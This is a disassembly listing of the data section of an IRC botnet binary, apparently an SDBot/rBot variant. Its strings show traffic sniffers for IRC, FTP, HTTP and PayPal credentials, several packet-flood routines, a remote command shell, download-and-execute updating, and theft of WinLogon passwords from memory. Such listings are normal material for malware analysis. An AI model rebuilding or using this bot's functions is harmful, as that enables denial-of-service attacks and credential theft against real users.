aSuspiciousSPac	db '- suspicious %s packet from: %s:%d - %s',0
dword_43752C	dd 234032Dh, 696E7370h,	3026666h, 2Dh ;	DATA XREF: sub_412B61+24Co
dword_43753C	dd 4E53505Bh, 5D464649h, 0 ; DATA XREF:	sub_412B61+235o
dword_437548	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_412B61+186o
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 4
dword_437578	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_412B61+103o
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
dword_4375A4	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_412B61+85o
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 10h
aHashin		db ':!hashin',0         ; DATA XREF: sub_412EEC+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412EEC+EEo
		align 4
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412EEC+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_412EEC+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_412EEC+B7o
aLogin_0	db ':!Login',0          ; DATA XREF: sub_412EEC+A6o
aLogin_1	db ':!login',0          ; DATA XREF: sub_412EEC+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_412EEC+84o
a366		db '366 ',0             ; DATA XREF: sub_412EEC+73o
		align 10h
a302_0		db '302 ',0             ; DATA XREF: sub_412EEC:loc_412F4Eo
		align 4
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_412EEC+4Do
		align 10h
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_412EEC+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412EEC+2Bo
		align 4
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412EEC+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_413003+62o
aOper		db 'oper ',0            ; DATA XREF: sub_413003+51o
		align 4
aNick_1		db 'NICK ',0            ; DATA XREF: sub_413003:loc_413043o
					; sub_413079+2Bo
		align 10h
aOper_0		db 'OPER ',0            ; DATA XREF: sub_413003+2Bo
		align 4
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_413003+5o
		align 4
aPass_1		db 'PASS ',0            ; DATA XREF: sub_413079+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_413079+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_413079:loc_4130CAo
		align 4
a220		db '220 ',0             ; DATA XREF: sub_413079+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_413079+5o
		align 10h
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_413100+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_413100+62o
		align 4
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_413100+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_413100:loc_413140o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_413100+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_413100+5o
		align 10h
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_413187+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_413187:loc_4131C7o
		align 10h
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_413187+2Bo
		align 10h
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_413187+5o
		align 4
unk_43773C	db  2Dh	; -		; DATA XREF: sub_4131EC+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_437774	db  2Dh	; -		; DATA XREF: sub_4131EC+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4377AC	db  2Dh	; -		; DATA XREF: sub_4131EC+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_4377E0	db  2Dh	; -		; DATA XREF: sub_4131EC+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_437814	db  2Dh	; -		; DATA XREF: sub_4131EC+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_437848	db  2Dh	; -		; DATA XREF: sub_4131EC+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFail_0	db '- WSAIoctl() failed, returned %d',0
		align 4
unk_437878	db  2Dh	; -		; DATA XREF: sub_4131EC+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRe_0	db '- bind() failed, returned %d',0
		align 4
unk_4378A4	db  2Dh	; -		; DATA XREF: sub_4135DF+5Eo
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_4378CC	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_413694+302o
		dd 203A726Fh, 6425h
unk_4378E8	db  2Dh	; -		; DATA XREF: sub_413A29+397o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aDoneWithSFlood	db 'done with %s flood to %s. sent %d packets @ %dKB/sec (%dMB).',0
		align 4
unk_437934	db  2Dh	; -		; DATA XREF: sub_413A29+307o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aErrorSendingPa	db 'error sending packets to %s. %d packets sent, returned %d',0
		align 4
unk_43797C	db  2Dh	; -		; DATA XREF: sub_413A29+12Ao
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidTargetI	db 'invalid target ip',0
		align 4
unk_43799C	db  2Dh	; -		; DATA XREF: sub_413A29+C2o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aSetsockoptFail	db 'setsockopt() failed, returned %d',0
		align 4
unk_4379CC	db  2Dh	; -		; DATA XREF: sub_413A29+49o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aSocketFailed_0	db 'socket() failed, returned %d',0
		align 4
unk_4379F8	db  2Dh	; -		; DATA XREF: sub_413E10+13Co
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFinishedSendin	db 'finished sending pings to %s',0
		align 4
unk_437A24	db  2Dh	; -		; DATA XREF: sub_413E10+6Eo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aErrorSendingPi	db 'error sending pings to %s',0
		align 4
unk_437A4C	db  2Dh	; -		; DATA XREF: sub_413F9C+1C6o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFinishedSend_0	db '- finished sending packets to %s',0
		align 4
unk_437A78	db  2Dh	; -		; DATA XREF: sub_413F9C+8Eo
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aErrorSending_0	db '- error sending packets to %s',0
		align 10h
dword_437AA0	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_4141B2+4Bo
aDoneWithFloodI	db '- Done with flood (%iKB/sec)',0
		align 4
unk_437ACC	db  2Dh	; -		; DATA XREF: sub_414358+4Bo
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloo_0	db '- Done with flood (%iKB/sec).',0
		align 4
unk_437AF4	db  2Dh	; -		; DATA XREF: sub_4143F7+27Do
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aSendErrorD_	db '- Send error: <%d>.',0
		align 4
dword_437B14	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_414703+4Fo
aDoneWithFlood_	db '- Done with flood.',0
		align 4
unk_437B34	db  2Dh	; -		; DATA XREF: sub_4149C1+4EBo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aDoneWithSFlo_0	db '- Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
unk_437B84	db  2Dh	; -		; DATA XREF: sub_4149C1+44Fo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aErrorSending_1	db '- Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
unk_437BD4	db  2Dh	; -		; DATA XREF: sub_4149C1+15Fo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidTarge_0	db '- Invalid target IP.',0
		align 4
unk_437BF4	db  2Dh	; -		; DATA XREF: sub_4149C1+EEo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aErrorSetsockop	db '- Error: setsockopt() failed, returned: <%d>.',0
		align 4
unk_437C2C	db  2Dh	; -		; DATA XREF: sub_4149C1+70o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aErrorSocketFai	db '- Error: socket() failed, returned: <%d>.',0
		align 10h
unk_437C60	db  2Dh	; -		; DATA XREF: sub_414F57+66o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aDoneWithFloodD	db '- Done with flood, %d packets sent.',0
		align 4
unk_437C94	db  2Dh	; -		; DATA XREF: sub_41525A+4Do
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aStartingWisdom	db '- Starting Wisdom spoofed UDP flood thread.',0
		align 4
unk_437CD4	db  2Dh	; -		; DATA XREF: sub_4152D1+345o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorSending_2	db '- Error sending packets to %s. eax=SOCKET_ERROR, WSAGetLastError('
		db ')=%d. sizeof(buffer) = %d. Packets sent sucessfully = %d.',0
unk_437D60	db  2Dh	; -		; DATA XREF: sub_4152D1+2F3o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFinishedSend_1	db '- Finished sending packets to %s. Sent %d packet(s). ~%dMB of dat'
		db 'a sent (~%dK/s).',0
		align 4
unk_437DC4	db  2Dh	; -		; DATA XREF: sub_4152D1+CCo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aSendingPackets	db '- Sending packets to %s...',0
unk_437DF0	db  2Dh	; -		; DATA XREF: sub_4152D1+80o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aInvalidTarge_1	db '- Invalid target IP. WSAGetLastError() returns %d.',0
unk_437E34	db  2Dh	; -		; DATA XREF: sub_4152D1+63o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSe	db '- Error calling setsockopt(). WSAGetLastError() returns %d.',0
		align 4
unk_437E84	db  2Dh	; -		; DATA XREF: sub_4152D1+2Ao
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 10h
unk_437EB0	db  2Dh	; -		; DATA XREF: sub_41561D+60o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0            ; DATA XREF: sub_4157BA+204o
		align 4
dword_437EE4	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_415CC0+35o
dword_437EF8	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415CC0+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415D38+60o
		align 10h
dword_437F30	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_415DD8:loc_415E0Do
dword_437F44	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_415DD8+20o
dword_437F58	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: sub_415E4B+DCo
		dd 6574656Ch, 0
dword_437F74	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: sub_415E4B+3Fo
		dd 676E6974h, 0
unk_437F90	db  2Dh	; -		; DATA XREF: sub_416000+170o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
unk_437FC4	db  2Dh	; -		; DATA XREF: sub_416000+ABo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_437FF4	db  2Dh	; -		; DATA XREF: sub_416000+47o
					; sub_4161C1+FDo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 4
dword_438018	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: sub_4161C1+362o
					; sub_416563+156o
		dd 726F72h
unk_438030	db  2Dh	; -		; DATA XREF: sub_4161C1+2FAo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
unk_43805C	db  2Dh	; -		; DATA XREF: sub_4161C1+202o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 10h
dword_438080	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: sub_4161C1+1CBo
		dd 74756Fh
dword_438098	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_4161C1+16Ao
		dd 169h
unk_4380B0	db  2Dh	; -		; DATA XREF: sub_4161C1+127o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 10h
unk_4380D0	db  2Dh	; -		; DATA XREF: sub_4161C1+82o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_4380F4	db  2Dh	; -		; DATA XREF: sub_4161C1+44o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 4
unk_438118	db  2Dh	; -		; DATA XREF: sub_416563+1D1o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_438144	db  2Dh	; -		; DATA XREF: sub_416563+CBo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_438164	db  2Dh	; -		; DATA XREF: sub_416563+ABo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 10h
aAB		db 'a+b',0              ; DATA XREF: sub_416563+97o
unk_438194	db  2Dh	; -		; DATA XREF: sub_416563+83o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_4381C4	db  2Dh	; -		; DATA XREF: sub_4167A0+493o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_4381F0	db  2Dh	; -		; DATA XREF: sub_4167A0+485o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_438224	db  2Dh	; -		; DATA XREF: sub_4167A0+3C9o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 4
dword_438268	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: sub_4167A0+358o
		dd 25206465h, 73h
unk_438284	db  2Dh	; -		; DATA XREF: sub_4167A0+2E1o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_4382BC	db  2Dh	; -		; DATA XREF: sub_4167A0+262o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_4382E4	db  2Dh	; -		; DATA XREF: sub_4167A0+1D8o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 10h
unk_438310	db  2Dh	; -		; DATA XREF: sub_4167A0+195o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 4
unk_438338	db  2Dh	; -		; DATA XREF: sub_4167A0+183o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 10h
unk_438360	db  2Dh	; -		; DATA XREF: sub_4167A0+77o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_416D48:loc_416D8Bo
					; sub_419443+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_416D48:loc_416D85o
aDisk		db 'Disk',0             ; DATA XREF: sub_416D48:loc_416D7Fo
		align 10h
aNetwork	db 'Network',0          ; DATA XREF: sub_416D48:loc_416D79o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_416D48:loc_416D73o
		align 10h
off_4383B0	dd offset word_4D4152	; DATA XREF: sub_416D48:loc_416D6Do
word_4383B4	dw 3Fh			; DATA XREF: sub_416D48+1Fo
					; sub_41AF8F:loc_41B091r
		align 4
aFailed		db 'failed',0           ; DATA XREF: sub_416DD9:loc_416EB7o
					; sub_416EFD+3Bo
		align 10h
aSkb		db '%sKB',0             ; DATA XREF: sub_416DD9+6Co
		align 4
unk_4383C8	db  2Dh	; -		; DATA XREF: sub_416EFD+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_438404	db  2Dh	; -		; DATA XREF: sub_416EFD+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
aA_1		db 'A:\',0              ; DATA XREF: sub_416FCF:loc_417014o
dword_438444	dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
					; DATA XREF: sub_417054+C8o
		dd 64252064h, 6C696620h, 7365h
unk_438464	db  2Dh	; -		; DATA XREF: sub_417054+5Co
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
dword_43848C	dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
					; DATA XREF: sub_41716F+107o
		dd 73252064h, 73255Ch
dword_4384A8	dd 2A5C7325h, 0		; DATA XREF: sub_41716F+1Ao
unk_4384B0	db  2Dh	; -		; DATA XREF: sub_4172C1:loc_41743Ao
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_4384E4	db  2Dh	; -		; DATA XREF: sub_4172C1:loc_41740Do
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_438510	db  2Dh	; -		; DATA XREF: sub_4172C1:loc_417406o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 4
unk_438548	db  2Dh	; -		; DATA XREF: sub_4172C1+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
aUserdomain:				; DATA XREF: sub_4172C1+DCo
		unicode	0, <USERDOMAIN>,0
		align 4
aUsername:				; DATA XREF: sub_4172C1+CEo
		unicode	0, <USERNAME>,0
		align 10h
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_4172C1+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+8Do
		align 4
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_4172C1+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_4172C1+68o
		align 10h
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_4172C1+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_4172C1+40o
					; sub_4172C1+161o ...
		align 10h
unk_438680	db  2Dh	; -		; DATA XREF: sub_4172C1+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 10h
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_417493+13Eo
		align 4
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_417493+123o
		align 10h
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_417493+AFo
		align 4
dword_4386CC	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_4178F9+70o
					; sub_417990+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_43871C	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417990+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h
off_438770	dd offset aQ		; DATA XREF: sub_417E84+5Cr
					; "q"
		dd offset dword_439320
		dd offset aE		; "e"
		dd offset aR		; "r"
		dd offset aT		; "t"
		dd offset dword_43931C
		dd offset aU		; "u"
		dd offset aI		; "i"
		dd offset aP		; "p"
		dd offset aA		; "a"
		dd offset aS_1		; "s"
		dd offset dword_439318
		dd offset dword_439314
		dd offset dword_439310
		dd offset dword_43930C
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset dword_439308
		dd offset dword_439304
		dd offset dword_439300
; ---------------------------------------------------------------------------
		clc
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aV		; "v"
		dd offset dword_4392FC
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset dword_4392F8
		dd offset dword_4392F4
		dd offset dword_4392F0
		dd offset dword_4392EC
		dd offset dword_4392E8
		dd offset word_4392E4
		dd offset dword_4392E0
		dd offset aI_0		; "I"
		dd offset dword_4392DC
		dd offset dword_4392D8
		dd offset aA_0		; "A"
		dd offset dword_4392D4
		dd offset dword_4392D0
		dd offset dword_4392CC
		dd offset dword_4392C8
		dd offset dword_4392C4
		dd offset dword_4392C0
		dd offset dword_4392BC
		dd offset dword_4392B8
		dd offset dword_4392B4
		dd offset dword_4392B0
		dd offset dword_4392AC
		dd offset dword_4392A8
		dd offset dword_4392A4
		dd offset word_4392A0
		dd offset aM_0		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary_0	; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
